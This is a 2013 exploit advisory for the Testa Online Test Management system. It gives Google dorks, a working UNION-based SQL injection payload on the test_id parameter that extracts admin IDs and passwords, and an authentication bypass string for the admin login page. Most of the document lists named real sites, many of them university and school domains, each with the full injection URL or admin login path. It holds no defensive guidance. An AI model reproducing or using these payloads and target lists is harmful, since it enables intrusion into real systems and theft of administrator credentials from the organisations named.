Testa Online Test Management SQL Injection

`################################################################  
# Exploit Title : Testa Online Test Management Sql Injection / Login page Bypass  
#  
# Exploit Author : Ashiyane Digital Security Team  
#  
# Vendor Homepage : http://testa.cc/  
#  
# Software Link Download : http://download.aftab.cc/products/testa/Testa_wos_2.0.0.2.zip  
#  
# Google Dork : intitle:Testa Online Test Management System  
#  
# Google Dork 2 : inurl:"?test_id="  
#  
# Date: 2013/11/13  
#  
# Tested on: Windows 7 , Linux  
############################################################  
# Exploit : Sql Injection  
#  
# Location : [Target]/?test_id=[Sql Injection]  
#  
######################  
# Demo Sql Injection   
#  
# http://onlinetest.iauda.ac.ir/?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+   
#  
# http://dr-taghizadeh.ir/test/?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+  
#  
# http://learning.kashanu.ac.ir/azmoon/?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+  
#  
# http://edunabi.ir/testa//?test_id=-1%27+/*!50000union*/+/*!50000select*/+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+  
#  
# http://behshahr-health.ir/azmoon//?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+  
#  
# http://www.azmoon.biobase.ir/?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+  
#  
# http://www.herfehofankhoy.ir/azmoon/?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+  
#  
#   
# http://az1.orq.ir/?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+   
#  
#  
#http://aliheydarian.ir/test/?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+  
#  
#  
#http://azmoonarabi.gigfa.com//?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+  
#  
# http://azmoonarabi.ir/?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+  
#  
# http://h-karimi.ir/testa//?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+  
#  
# http://lightchat.ir//?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+  
#  
# http://chahischool.vvs.ir/Tests/?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+  
#  
#  
#########################################  
# Demo Login page Bypass  
#########################################  
username & password : '=' 'or'  
#########################################  
# http://dr-taghizadeh.ir/test/admin/index.php  
#  
# http://online.tech-jey.ir/admin/index.php  
#  
# http://onlinetest.iauda.ac.ir/admin/index.php  
#  
# http://learning.kashanu.ac.ir/azmoon/admin/index.php  
#  
# http://edunabi.ir/testa/admin/index.php  
#  
# http://behshahr-health.ir/azmoon/admin/index.php   
#  
# http://www.azmoon.biobase.ir/admin/   
#  
#http://www.herfehofankhoy.ir/azmoon/admin/  
#  
# http://az1.orq.ir/admin   
#  
##################################  
##################################  
Milad Hacking  
  
We Love Mohammad  
  
  
  
############################################   
`